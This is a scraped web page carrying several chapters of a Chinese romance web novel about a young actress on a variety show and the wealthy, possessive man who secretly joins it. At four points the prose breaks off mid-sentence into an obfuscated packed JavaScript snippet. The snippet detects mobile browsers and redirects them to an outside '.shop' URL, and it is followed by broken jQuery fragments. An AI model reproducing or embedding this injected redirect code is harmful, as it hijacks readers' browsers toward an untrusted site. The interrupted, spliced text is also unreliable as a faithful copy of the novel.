她给果茶发了一条短信:我是果枝,一切安好,勿念。圈内复杂,保护好自己。
茶茶收到短信,循着这串电话号码回拨过去时,又成了“关机中”。但总算可以稍稍放心下来,至少枝枝姐现在还是安全的,就是不知道她神神秘秘地在干些什么。
果茶转头将这个好消息告诉了程司屿。
“真好。”
电话那头,程司屿语气中带着一丝歉意,“可惜我没能帮上什么忙。”
果茶忙安慰道:“司屿哥哥找不到也是正常的啦,枝枝姐从小躲猫猫就可厉害了,她要是想藏起来,很难有人找得到的……”
小姑娘那与有荣焉的口吻,让程司屿忍俊不禁。他抿唇沉默几秒,佯装落寞地说:“现在姐姐找到了,哥哥对你来说还有用吗?茶茶会不会就此与我分道扬镳?”
“怎么会!”果茶惊呼,“你也是我的家人呀,再敢讲这种话我要生气了!”
想到茶茶气鼓鼓的可爱模样,程司屿轻笑出声,又怕被她听到后更急了,便敛了笑缴械投降:“不敢不敢,再也不说了。茶茶,原谅我好不好?”
正候在一旁的张文勋,听到这话牙都酸了。
是谁早就探到了果枝的联系方式,为了拖时间故意不交出去的?又是谁千里派眼线给“断网”的果枝透出风声“她妹妹担心她的安危,正在全网寻人?”
明明都是他的一手杰作,若是其他正常男人恐怕早就在佳人面前邀功领赏了。他倒好,不抢功劳、不诉苦劳,反而在这儿扮弱又唱的哪出?
等程司屿通完电话后,张文勋才将自己的疑惑问出来。
他眼底的笑意未散,饶有兴趣地反问:“茶茶入圈想找到她姐姐,现在她凭借自己的力量,让想要寻的人主动联系上自己,这不好吗?”
“可是明明是您……”
程司屿抬手,制止张文勋接下来的话,“即使没有我,茶茶最终也能得到她想要的结果。”
而他的暗中助力只是加快了得到结果的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14329501|151040||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
进度,归根结底,他想让茶茶在这一“游戏”过程中更有参与感和自豪感。
是她自己,找到了姐姐。
张文勋从弯弯绕绕中明白了程司屿的良苦用心,不禁震惊:他这是什么老父亲心态下的鼓励式教育策略!
但张文勋不知道他更深沉的用意——
因为从上次装病后,程司屿发现,茶茶似乎更吃“绿茶”那一套,适当的扮弱比无所不能,更加拉近彼此的心。
那他不介意放低姿态,博取茶茶的心软。
“还有盛逢那事,您就这么算了?”提起这个,张文勋困惑不已,“万星娱乐不是跟您保证可以与他解约吗?到时我们再将他那些黑料抖出,让他再也没有复出可能……”
得饶人处且饶人的确不是程司屿一贯的作风,杀伐果决、斩草除根才是他驰骋商界的立威之本。
可现在不一样了,茶茶踏出他所划的保护圈。即使他的羽翼再丰满,终究避免不了百密一疏,他不能再由着自己的性子四面树敌。
“困兽犹斗,受伤的只会是茶茶。”
而且程司屿太了解茶茶了,他作恶,背负更多罪恶感的是她。
因为有了软肋,所以假装慈悲。
那就……把有异心的人放在眼皮子底下,慢慢折磨好了。
-
节目来了两位飞行嘉宾,就出了两次幺蛾子。
导演一度觉得这个节目有种随时可能拦腰砍断的淡淡死意。
没想到虽然状况频出,但由于自带流量的嘉宾们慷慨献祭,反而给节目带来了前所未有的热度。
台前的治愈与幕后的抓马完美融合,按观众的话来说就是“飞行嘉宾卷起的腥风血雨,更能衬托客栈四人相亲相爱岁月静好”。
不过好在后面几期来的嘉宾都还算正常,为期十四天的录制也即将迎来尾声。
考虑到茶茶开学可能会有不少看点,导演组听从观众们的提议,将最后一期录制加开了全程直播模式。
九月十一日,《猫猫会客栈》最后一期录制。
自从听说这次来的飞行客人是崔普之前说过的那位“好心老板”后,果茶简直比夫妻俩还要激动。
“乔乔姐、崔大哥,你们放心,我现在已经是专业的服务员小妹了!肯定能把好心老板招待得服服帖帖!”果茶拍拍胸脯,神气地不得了。
乔如是笑得见牙不见眼,“有茶茶……还有小余,我就放心多了。”
其实他们和那位恩人老板的关系并不深,只是抱着试试的心态邀请了他,本以为他日理万机、又不喜抛头露面,定会一口回绝。
没曾想,他竟然当真应下了他们的邀请。
老实说,他们心里挺没谱的,怕怠慢客人,又怕对方是个大老板,放不下身段、没什么综艺感,节目播出效果不好。但有了茶茶这个社牛活宝,气氛应该会活跃不少。
看到面色紧张的夫妻俩,果茶偷笑着给程司屿发消息:“乔乔姐他们真的好紧张哦,我一定要给他们争气!狠狠拿下好心老板!”
“吱呀”一声,玻璃大门被推开。
“程总,来了啊!”崔普雄浑的声音陡然响起。
果茶下意识抬头。
男人微笑着走近,依次与崔普和乔如是握了握手,温润如玉地说:“崔普哥,如是姐,好久不见,叫我小程就好。”
走到果茶身前时,她还一副呆愣的模样,漂亮的葡萄眼瞪得圆溜溜的,朱唇微启,露出洁白的贝齿。
祝余用手肘轻轻碰了碰果茶的胳膊,“茶茶?”
果茶如梦初醒。
太突然了!那位好心老板竟是程司屿!
她一时紧张得手都不知道该往哪儿放。
只见程司屿朝她伸出右手,笑得温柔,“你好,程司屿。”
“你是……茶茶?”
25. 寄给茶茶的第25封信
【啊啊啊啊啊我滴老天奶啊!也妹人跟我说传说中的“好心老板”是个大帅哥啊!!我一直以为是个秃头大肚的中年企业家(斯米吗喽】
【真的不是来出道的吗?看起来很年轻啊,不信他那么有钱,感觉像杀猪盘,除非先v我500看看实力】
【程总一出场我又磕上了!什么祝余江知渺盛逢,都往后稍稍!温柔总裁和小太阳妹宝才是最搭的啊啊啊】
【啊?大妹子?你说的温柔总裁指的是程司屿吗?互联网真是没记忆了……就没人记得几年前他把狗仔和人家娱乐公司告到哭爹喊妈跪地求饶的新闻吗……】
直播间纷纷扰扰,舔屏的、科普程司屿过往履历的、磕cp的以及几对cp之间互相拉踩的,好不热闹。
而现场的氛围也十分微妙。
监视器后的导演此时脸都僵了,因为知晓乔如是夫妇这次请的客人是圈外商人,出于信任,他也没对嘉宾做背调,但是……别太离谱了!也没人提前通知一下来的是节目组金主爸爸啊!
不对不对,程总会为了所谓的一面之交而屈尊录综艺?
回忆起上次程总突降海边live现场,只看了茶茶那一part后就没了踪影,再结合现在他对茶茶的态度,明显就是“目标明确”。
像发现了什么惊天大八卦,导演既激动又恐慌,但也无法到处声张,便在联络群里偷偷下通知:多拍点程总和茶茶相处的镜头素材,注意!一定要拿出看家本领拍好看点!
另一边,果茶不敢贸然与程司屿相认,但装得太过拘谨,恐怕又会被别人看出端倪。
如此一来,她反而不知道该用什么样的态度面对程司屿,只能回握住他的手,眼神飘忽地支支吾吾道:“你、你好,程总。”
祝余最先发觉不对劲,茶茶什么时候像现在这样露过怯?她……在紧张什么?
正当他的目光在两人身上来回扫视时,程司屿的笑容依旧坦然。
“别紧张茶茶,程总听起来似乎有些生疏。”
他不动声色地轻轻捏了捏她的手心,“我比你年长几岁,若是不介意,你可以叫我一声哥哥。”
说罢,他不经意地觑了祝余一眼。
这个眼神分明带着笑意,祝余却没来由地觉察到了浓浓的侵略性和占有欲,似乎是一种示威和警告。
哥哥……程司屿……司屿哥哥?!
他是茶茶通讯录里置顶的那个“司屿哥哥”?!
直播间弹幕也炸了。
【哟哟哟~还别紧张~叫哥哥~狡猾的老男人,想勾引妹宝就直说,搁这儿死装】
【快看程总和妹宝的手啊!完全包裹住了呜呜呜这体型差!这色差!好想把他们的手焊死啊啊啊受不了了……我踏马直接一个螺旋升天大磕特磕!】
【手都牵上了,这下一步还不得亲嘴了啊!快!拿舌头狂甩对方嘴唇!】
【楼上的……话糙理不糙,但你这也太糙了,不过嘿嘿我喜欢】
相比祝余敏锐的观察力,粗线条的崔普则完全没看出两人之间微妙的化学反应,还乐呵向程司屿介绍果茶:“小程你是不知道,茶茶知道你和我们的故事后,一直对你很好奇,还说你要是来做客,一定让你感受到家的温暖……”
乔如是拦住他的话,打着哈哈说:“茶茶这孩子就是热情,对谁都很好奇。”
她看得出程司屿似乎对茶茶印象不错,但毕竟男女有别,一个是权势滔天的商人,一个是年纪尚小的上升期女明星,还是得尽量保持距离、避免传出绯闻,省得影响茶茶的事业。
程司屿自能明白乔如是的用意,“这几日我也一直有观看节目,所以,对茶茶不算陌生。”
他低头,一瞬不瞬凝视着女孩的眼眸。
“谢谢茶茶,我已经感受到了……家的温暖。”
程司屿的表情坦然清明,不带任何旖旎的男女之情,就好像真的只是与果茶初次见面,出于礼节才对小姑娘多加照拂。
真的是这样吗?祝余压住内心的愠恼,暗中捏紧了拳头。
一个异姓“哥哥”,一个与茶茶身份天壤之隔的资本家,一个疑似在茶茶身边安插了眼线的监视狂。
他究竟对茶茶做了什么?
祝余沉眸,观察起果茶的反应,若是她有一丝惊恐或反抗,他定要阻止程司屿的靠近。
只见一直魂不守舍的茶茶,终于回望程司屿的目光。
她红着耳朵小声说——
“欢迎你,司屿……哥哥。”
-
二楼休息室。
终于等到一个艺人妆发休整的空档,果茶做贼似的,将程司屿堵到门后。
程司屿挑挑眉,“不是说要狠狠拿下我吗?”
他低头看了眼几乎贴在自己怀里、炸毛小猫似的女孩,轻笑道:“茶茶就以这种方式拿下吗?”
不听不听,王八念经!果茶单手撑在墙上,半圈住程司屿的身子,压低声线恶狠狠道:“你怎么会来!”
被逼到背部直抵墙角的程司屿,没有半分愠恼,反而觉得十分新奇,也学着她的说话方式,用气声回道:“临时邀约,还没来得及向茶茶汇报……”
“骗子!”果茶瞪了他一眼,“你来之前还在跟我聊天呢,怎么就来不及了!”
她仰着头,气鼓鼓的模样就像只张牙舞爪的小野猫。但到底与程司屿有着明显的身高体型差,“壁咚”这个姿势还没坚持一分钟,她就感觉到手疼脖子酸。
果茶收回手臂,一边揉着手心一边往后退,嘀咕道:“长那么高做什么,靠近说话都费劲……”
还没退两步,程司屿突然搂着她的腰身往怀里带。
果茶正要惊呼,他抬手虚虚点了点她的下唇,俯身在耳畔轻声提醒:“门外有人。”
果茶屏住呼吸。
门外的脚步繁杂,似乎近在咫尺。
那一瞬间,果茶满脑子都是“男女私会被人捉.奸”的震惊体都市新闻。
本来她和程司屿清清白白,自己这么一弄,反倒让走向变得奇怪起来。
要是……要是被人发现他们俩认识,该怎么解释?会不会给程司屿带来麻烦?
果茶紧张到身子都忍不住微微颤抖。
此时的二人身体紧紧贴在一起,任何细微的动作都变得清晰可感。
这是害怕的反应。程司屿沉下眼眸,轻抚茶茶的后背,“不用
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14341608|151040||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怕……”
这举动吓得果茶寒毛倒竖。她双手并用,将他的嘴巴盖得严严实实,警告似的瞪了瞪眼,示意他不许再出声。
等到门外彻底没了声响,果茶一回头,旁人口中那位矜贵尔雅的“程总”,被自己捂着嘴巴一声不敢吭,连脸颊都被压得微微变形,有种不符合身份形象的滑稽。
她赶紧放下手,又偷偷用余光看了看他的反应,见他的确没有生气的迹象,甚至看起来莫名还有些委屈,果茶忍不住“噗呲”笑出声。
见茶茶笑了,程司屿悬着的心回落几分,无奈地轻轻拍了拍她的后脑勺,“刚才还怕得发抖,现在又笑得这么开心……”当真像没长大的孩子一样。
“我们、刚才……好像在偷.情哦。”
程司屿嘴角一顿,整颗心都被这句大胆发言拧起,“茶茶,你……”
果茶没心没肺接着说:“还好外面的人走了,不然可就跳进黄河洗不清了!”
……果然还只是个口无遮拦的小孩,怎么敢指望她突然开窍了。程司屿叹了口气,顺着她的话说:“不会,若是被发现了,就说是我对你威逼利诱、死缠烂打,哄骗了你。”
他以为茶茶刚才紧张得发抖是因为这个,于是微微屈膝躬下身子,让自己的视线与她平齐,“无论发生了什么,我都不会让任何人伤害到你。”
“所以…不要怕,茶茶。”
那双漂亮深邃的眼睛里满是真切,果茶意识到,这不是一句戏言,他真的会这么做。
压住狂跳不止的心脏,果茶慌张移开视线,“趁没人,我们快出去吧!”
转身正欲打开门,身后传来一道落寞的问询:“茶茶,你是不是不希望我来?”
果茶回头,只见程司屿垂眸,柔声说:“如果给你造成了困扰,我可以随便找个借口离开这里。”
他顿了顿,“没有事先与茶茶商量是我不对,本想给你一个惊喜……抱歉。”
啊啊啊啊果茶!你做了什么!害得那么大一个风云霸总变得这么卑微拘谨!
果茶内心尖叫起来,原本还气他“骗了自己”,现在听到他的道歉后,瞬间被无边内疚淹没。
她上前握住他的手,轻轻挠了挠他的手背,“没有没有,我只是没想到那个好心老板竟然就是司屿哥哥……”
是了。好心老板是司屿哥哥,不正说明他是一如既往的良善之人吗?他能在夫妻二人落魄时雪中送炭,正如他在自己深陷麻烦时屡屡伸出援手。
他是很好很好的人。她怎么能怀疑他的动机呢?
想通这一点后,果茶当即拽住他的手往外拉,“快去录节目!不准多想!不过……”
她回头小声打起商量,“我们还是要保持一定的距离,尽量不要被发现了好不好?”
手背被茶茶挠过的地方泛起痒意,那股酥麻的触感一直蔓延到心间,程司屿下意识捻了捻指尖,笑道:“好。”
果茶放下心来,转过头,往外走去。
看着她圆鼓鼓的后脑勺,程司屿探出手,在空中比了比,还没有自己巴掌大。
他扬起嘴角。
真可爱。他得好好看牢,绝不能让茶茶被旁人哄骗了去。
26. 寄给茶茶的第26封信
两人一前一后来到前厅。
果茶先是悄悄观察周围一番,发现似乎无人留意到他们的短暂离席后,她长舒一口气,也装作若无其事的样子,凑到乔如是身周聊起天。
瞧见她这幅此地无银三百两的模样,程司屿难掩眼底纵容的笑意。
一扫眼,视线与独自坐在角落的祝余撞到一起。
他像只疑心深重的护卫犬,似乎想用警惕的眼神在自己身上探出一个洞来。
程司屿微微颔首,随后向果茶那边走去。
乔如是和崔普正在商量今日休店团建。
“明天不是送茶茶去学校报道吗?今日干脆陪孩子们好好玩玩。”
乔如是看了眼正乖乖趴在吧台听他们讲话的茶茶,忍不住掐了掐她的脸颊肉,慨叹:“等录完这期,综艺就要结束了,真快啊……”
“只是综艺结束了,可我们还会一直保持联系的呀!”果茶将手顺势搭在她的手背,话里都是浓浓的依恋。
崔普也调侃道:“就是,别搞得像节目录完就断交一样,难道真像网友们说的那样,这几天的相处都是装的不成?”
几人聊天时,完全忘了直播间摄像头还对着他们。
【阴暗批网友突然被点名,原来他们明星真的会看网上的评论啊!不过……崔普竟然不是2G网!!他冲浪这么快吗?】
【有没有可能是妹宝告诉他们的?扶眼镜.jpg】
【哈哈哈哈哈哈破案了!这么贴脸开大的评论,真的很像直球妹宝能传出去的】
【啊啊啊茶茶!茶茶终于出镜了!刚才去哪儿了,妈妈找一圈都没找到人!宝宝真可爱亲死!!还是想吐槽这节目组真抠,怎么就一个总的直播镜头,不能搞单人直播吗?】
【你们就没发现刚才茶茶和程总同时“神秘失踪”了近十分钟吗?会不会是……嘿嘿嘿】
【好好好,还是跟着你们磕有糖吃啊!】
……
在客栈门外挂上“今日打烊”的牌子,乔如是开始安排接下来的行程。
总是为食客提供私人订制菜品,他们夫妻俩都还没为自家小员工还有飞行客人做过一顿饭。
更何况程总对他们有知遇之恩,于情于理都该亲自下厨款待一番。
白天天气热,可以在客栈设一场“家宴”。等日头下去些,就带大家出海游玩,正好前几天茶茶提过想飘到海中央晒阳光浴,也算是满足一下宝贝的小心愿。
想到这里,乔如是换了身衣服,打算出门采购中午的食材。
“乔乔姐去哪儿?”果茶停下手上的动作。
“去菜市场买点新鲜菜……”
果茶闻言将杯子塞到程司屿手中,大喊:“我去我去!”
“可你不是在给你司屿哥做咖啡吗?”乔如是伸长脖子,看过去,“这么快做好了?”
果茶“噌”得一下用手拢住杯口,还攥着程司屿的手腕直往他嘴边推,“做好了做好了,司屿哥哥快喝吧,再放会儿口感就不好了……”
【哈哈哈哈哈哈哈笑死我了,茶茶!别以为你捂住了,我们就看不出来你做的拉花像一坨便便!!!配着这个屎黄色咖啡更像拉了坨大的(允悲】
【感觉茶茶干啥活都能做得很好,怎么这个拉花就是学不会呢?】
【可能因为她做菜打扫喂猫换电灯泡甚至招待客人这些,都是她在福利院时会经常做的吧,没爹没妈寄人篱下可不得勤快点?咖啡拉花对她来说确实没接触过,你们没看第二期茶茶刚学咖啡时还说自己从来没喝过这个东西吗?】
【突然被刀……当时我还以为她在立不食人间烟火的人设,没想到妹宝光食烟火去了,哪儿有空享受人间呜呜呜】
【虽然但是,没人觉得果茶把杯子塞程总手里,还用手捂人家杯口这个行为很没有边界感吗?刚认识就动手动脚的,是没素质还是装绿茶啊?】
【您睁眼看看程总那副笑得不值钱的样子呢?人家小情侣之间的事你少管(对不起祝余,你还是独美吧,磕cp我已有人选)】
程司屿眼眸含笑,顺着茶茶手上的动作抿了一口,“好喝。”
看着昂首挺胸、好不神气的果茶,乔如是好笑地摇头,“茶茶就是这样把好心老板招待得服服帖帖的呀?”
还好“好心老板”是程司屿,不然还真不好糊弄……啊不,是招待。
果茶小脸一红,赶紧转移话题,“乔乔姐要买什么?我会砍价,我去买菜……”
孩子兴致高,乔如是也不拦她,“买你喜欢吃的就好,今天你乔妈和崔爸下厨。”
她转头,挨个询问程司屿和祝余:“你们想吃什么?”
祝余正要说什么,程司屿在他开口前礼貌表示:“我和茶茶一起去吧,她一个人去不太放心,我也可以帮她拎东西。”
【心机男,其实就是想和妹宝独处!到底有什么不放心的啊喂!妹宝肯定不可能是一个人去啊,节目组那么多人轮得到您个金主爸爸屈尊拎菜吗?】
【感觉祝余其实也是想说这句话的吧?毕竟以前都是他和茶茶出双入对形影不离的。话说,祝余今天话怎么这么少,表情也有点沉重呢?】
【茶茶!看看你身后的祝余啊啊啊啊!感觉他都要碎了,本来孩子就内向寡言,来节目后在茶茶的感染下才慢慢打开了自己,结果一个一个男嘉宾虎视眈眈,现在这个程总更是王炸……有点心疼他了】
祝余嘴唇翕动几下,欲言又止。
他看向果茶,期许着她能像前几次那样,看到他的落寞、看懂他的挣扎,然后像小太阳一样暖烘烘地走到他身边,对他说“你怎么一个人在这儿”“你不高兴吗”“我们一起吧”。
但这次她没有,她甚至都没有留意到他的异常,反而大大咧咧应和程司屿:“好啊,那买菜你付钱,付完你拎包!”
程司屿纵容应好。
两人有说有笑,并肩走出客栈。
祝余垂下头。
茶茶是所有人的太阳,她的光热只是不经意间照拂到了他的身上。
*
因为拍摄外景,工作人员便给果茶这边另开设了一个直播间。
本以为会分流,没想到新开的直播间依旧火热,甚至弹幕更猖狂了。
【好耶双人纯享直播!现在终于轮到我们“寄屿爱茶人”cp舞大旗了!!冲呀!贴脸开大!素材多多!】
【不是,这才半天不到cp名和超话都有了?而且你们取这个名字有没有考虑过祝余的感受……这不是他在海边live舞台唱的歌吗?】
【好的知道了,茶茶和程总结婚,祝余坐主桌】
到了菜市场。
果茶轻车熟路带着程司屿往里走。
市场地
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14361620|151040||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
面刚冲刷过,走到哪儿都湿漉漉的,若不甚踩到路不平的坑洼处,溅得水花四射。
程司屿从没来过这种地方。
喧嚷、粗野、秽浊。人与人之间摩肩擦踵,叫卖迭起,没有最基本的社交距离。
他沉着脸,在入口处停下脚步。
“司屿哥哥,走呀!”果茶扭头发现他仍站在原地,“还傻愣着做什么呀?”
见他没有反应,果茶径直从水洼上方一跃而过,站定到程司屿身前,不由分说揪起他的衣摆就往内走去,“唉,走个路还要人牵……”
落在后面的跟拍摄影师,留在原地,镜头对准他们的背影。
一个高大一个娇小,一个穿着考究的商界精英,一个打扮简单的邻家妹妹,一个沉稳温润一个古灵精怪,截然不同的两个人,此时却并肩走进众声喧哗中。
【好唯美的一幕啊啊啊啊这是在拍什么偶像剧吗?!果茶这句司屿哥哥叫得好甜啊啊啊,听起来很熟练啊他俩不会真的有什么吧?!】
【我只觉得好搞笑哈哈哈哈哈程总是不是第一次逛菜市场啊?感觉要不是妹宝拉着他,他都不会进去】
【程司屿现在脾气这么好吗?被人像牵狗一样拉进去都不带生气的,而且……怎么感觉他在故意等茶茶拉他呢?】
【不瞒你们说,我刚好奇去查了,程总衣服上那枚不起眼的胸针就可以把整个市场盘下来了……】
【虽然很好嗑,但感觉他俩确实不是一个世界的人,不太可能会有好结果。】
【不要你说!我不听!你闭嘴!!!】
走到一家摊铺前,头发花白的老太正在档口吆喝,上了年纪但依旧中气十足。
“司屿哥哥,你先在这儿等等。”
说完话,果茶接过助理小彤递过来的帆布包,弓腰钻进档口。
“奶奶!”
老太闻声转过头,面上一喜:“哎哟!茶茶来了?!”
这几天录制中,果茶和祝余经常一起来市场采购,果茶嘴甜又活泼,一来二去和好多家摊主都混得熟络。
偶尔有摊主忙不过来,她还会直接钻进档口,帮人吆喝着卖点东西。
“之前不是说要送您个礼物吗?喏,”果茶从包里掏出一个小喇叭,递给老太,“以后就用这个,声音大还不用费嗓子……”
她示范了一遍开关键和音量键,然后打开喇叭。
一道清亮俏皮的女声传出:“大白菜鸡毛菜空心菜油麦菜~快乐老太家的新鲜蔬菜,快来买呀!好吃得嘞!”
“这是茶茶的声音!”老太笑得见牙不见眼。
喇叭最后一句是祝余清唱的歌词,“一日三餐,茶余饭后,都有你相伴左右~”
老太听出来了,“这是那个不爱说话的俊小伙唱的?”
她往外张望道:“他今天没和你一起啊?”
在一侧静静等待的程司屿走上前,隔着绿油油的蔬菜铺子,笑着朝老太微微点了点头,“张奶奶,您好,今天我陪茶茶来看您。”
“咦!你居然还知道我的姓呢!”
老太一惊,瞪大眼睛看清楚面前男人的长相后,笑得更开心了,“诶这个好这个好!!长得真高真俊啊,还很有男子气概!”
仿佛当场重回十八岁,花痴犯了,张老太激动地拍了拍茶茶的手,“这回这个总该是你男朋友了吧?!”
27. 寄给茶茶的27封信
老太此话一出,在场的人都懵了。
直播弹幕瞬间飞起。
【张老太!我封你为我们CP的祖师奶!只要你一声令下,我们立马拥护你为新王!】
【哈哈哈哈哈哈救命好抓马,试问除了老太谁敢舞到正主面前呢?张奶奶:我年纪大,老言无忌,你们就样样我吧】
【给没看前几集的新朋友科普一下,这个奶奶老磕cp人了,之前还问祝余是不是茶茶男朋友,我还记得当时祝余那个耳朵啊瞬间通红。但是老太!你能不能坚定点,爬墙爬得也太快了吧】
【一个细节:程总刚来时就说自己一直有在看这个节目,所以他知道这个奶奶姓张……】
【所以程总说得是真的啊!日理万机的亿万富豪还有空看这个?不会是专门为了看妹宝吧,嘿嘿已造谣莫辜负】
“不是不是!”
果茶反应过来,连忙摆手,极力辩解时加快的语速险些咬到舌头,“还是录节目的嘉宾!每期来的嘉宾不同……”
“哦我知道,”老太向她递了个“我懂”的眼神,“就是现在很流行的那种年轻男女相亲交友的节目是吧,每次换不同的男嘉宾,最后看看哪个最合适,就可以牵走了……”
果茶惊得都呛住了。
程司屿面带笑意地轻轻拍了拍她的后背,“奶奶逗你玩儿呢,不必当真。”
边帮茶茶顺气,他边向老太温声解释:“只是在录节目,现在还不是茶茶的男朋友。”
【哈哈哈哈哈奶奶我猜你是想说恋综吧!不过这奶真是一语道破天机,话说谁还记得这是个经营类生活慢综呢?】
【呜呜呜程总好温柔啊,安抚茶茶,还顺着她的话解释……不过怎么感觉他话里有话呢?!】
【现在还不是,那就代表有意思,争取以后发展成男女朋友咯!啧啧】
【不是,就没人质疑一下他俩现在这种相处模式是正常的吗?言行举止都太亲昵了吧,卖的嫌疑太大了!】
【程总那么有钱有权有势,又不进圈当明星,有必要和茶茶这种糊咖炒作吗?只能说明……他们已经谈上了嘿嘿】
用新喇叭帮张奶奶带了一下货,然后挑了些新鲜蔬菜,果茶才和老太挥手告别,动身去别的摊铺。
她在这里认识的老板多,有人是见她伶俐可爱、真的喜欢她,直往她手里塞东西,也有人看出明星在录节目,想在镜头前蹭蹭热度。
果茶看得出别人的真情假意,但也不说,假意的嬉嬉笑笑打个招呼就走过去了,真心的便挑点需要的食材。
“司屿哥哥,付钱!”
她阔步走在前面,颇有当家气势。程司屿拎着推车,像个小跟班似的任劳任怨跟在后面,走到哪儿付到哪儿。
“不要不要,没多少钱。”
海产店老板用手把收款码盖住,笑得可开心了,“茶茶你之前帮我卖海鲜,把我这儿都带成了网红店,这几天我也学着直播卖货,供不应求了哈哈!我都还没感谢你呢!”
果茶没想到自己现在已经有这样的影响力了,原来明星的一句话,就可以给普通店家带去实打实的热度。
她眉眼弯弯道:“叔叔你这儿的海鲜品种多又很新鲜,而且您还懂得抓住机遇直播带货,卖的好那是您应得的啦!”
这话说的,是恭维又是实话,夸到人心坎上了,谁听了不高兴?
老板财大气粗,又从展示柜里连捞了好些贵的新鲜玩意儿,让员工打包好后塞进果茶的推车里,“你说话叔爱听,托你的福,叔最近赚了点小钱嘿嘿,拿走拿走别客气!”
果茶摆了摆头,背过程司屿,用手挡住嘴巴:“今天我带了个大财主来,他特有钱,让他付!等我以后没钱了,你再送我也不迟嘛……”
【茶茶!你再大点声呢!!!】
【哈哈哈哈哈救命啊啊啊笑死我了妹宝也太可爱了!这就是你说的“会砍价”?好家伙你拿大刀往自己人身上砍呢!】
【真好,茶茶真好。没有像某些明星那样跟领导下基层微服私访似的,先慰问一番上高度,然后为了立自己接地气懂生活的人设和店家砍价掰扯,或者直接腆着张大脸说“我是明星,送给我”】
【虽然但是……都是程司屿付的钱啊!你们爱茶人别太离谱,要是换个别的女明星,敢这么明目张胆使唤嘉宾,估计这会儿早就被骂上热搜了吧】
【采购应该是节目组付钱吧。再说了程总那么有钱,宰他一顿怎么了!你心疼资本家做什么?还是说程总现在都开始有唯粉了?】
茶茶装得窃窃私语,实际上就是故意说给程司屿听呢。
老狐狸哪能不懂,只是没想到茶茶第一次主动让自己花钱会是在这种场合。
当时哄骗她住进半山,她以为自己的任务是“住家保姆”,程司屿干脆将计就计让王麟给她开出一份“工资”,不多不少一月十万,还给了她一张表面用来存工资的银行卡,实际是连着他户头的无限额副卡。
结果茶茶觉得自己在别墅好吃好喝、一点活都抢不到,不接受他开的工资,也没有动过那张卡。后来她签了公司,能够自己赚钱了,就更加不可能花他的钱。
而现在,程司屿竟然在菜市场找到了自己的定位。
就像是一对再普通不过的小夫妻,丈夫为家庭的一日三餐掏腰包,提包拎菜,安静地注视着外向的妻子与陌生人拉几句家常,然后再牵着手一起回到他们的小家。
原来人间烟火气是这样的。
茶茶在这里如鱼得水,连带着与他的相处也更加自如怡然。
程司屿一直以为自己已经够了解茶茶了,两世的机缘、数年的纠缠,让他理所当然误以为见到了茶茶所有的不同面,每一面他都爱得无法自拔。
但他现在才意识到,因为他所处的位置和高度,把茶茶禁锢起来就注定了只能看到,她脱离自己原本真实生活的那一部分。
如同打造了一座空中阁楼,茶茶失去地气,悬浮于虚空。
他永远也无法见到她最鲜活的一面,因为那里本就没有培育她的土壤。
她是野草,不是玫瑰。
看着茶茶蹦蹦跳跳的背影,程司屿勾起唇,拖着推车紧紧跟在她的身后。
“程总,我们来拿吧!”工作人员避开镜头小跑上前,攀上推车把手,毕竟是金主爸爸,他们可不敢真让他屈尊干这种粗活。
“不用。”
既然他没办法将她留在自己的世界,那他就向她的世界走去。
从来就没有什么所谓“不同世界的人”,他本就是一缕孤魂,可以在任何世界游走,只求茶茶能接纳他。
*
采购完,回到客栈。
祝余上前帮忙搬东西,等到只有果茶和自己单独相处时,他不动声色地问:“怎么样?还
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14369886|151040||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
顺利吗?”
“当然,”果茶笑容灿烂,“张奶奶还问你怎么没去呢。”
“因为程总要去……”祝余带着一丝委屈。
果茶一愣,歪头看了他一眼,直头直脑地说:“你也没说你要去呀,司屿哥哥先说了肯定就和他去了嘛。”
祝余被她的一记直球堵到哑口无言,茶茶性子向来直接,听不懂什么旁敲侧击、话中深意。
想到这里,他将茶茶拉到茶水间,背对镜头,关掉两人的收音麦,“你是不是之前就和程总认识?”
果茶还没反应过来。
他更进一步发问:“他是不是就是你通讯录里面那位司屿哥哥?”
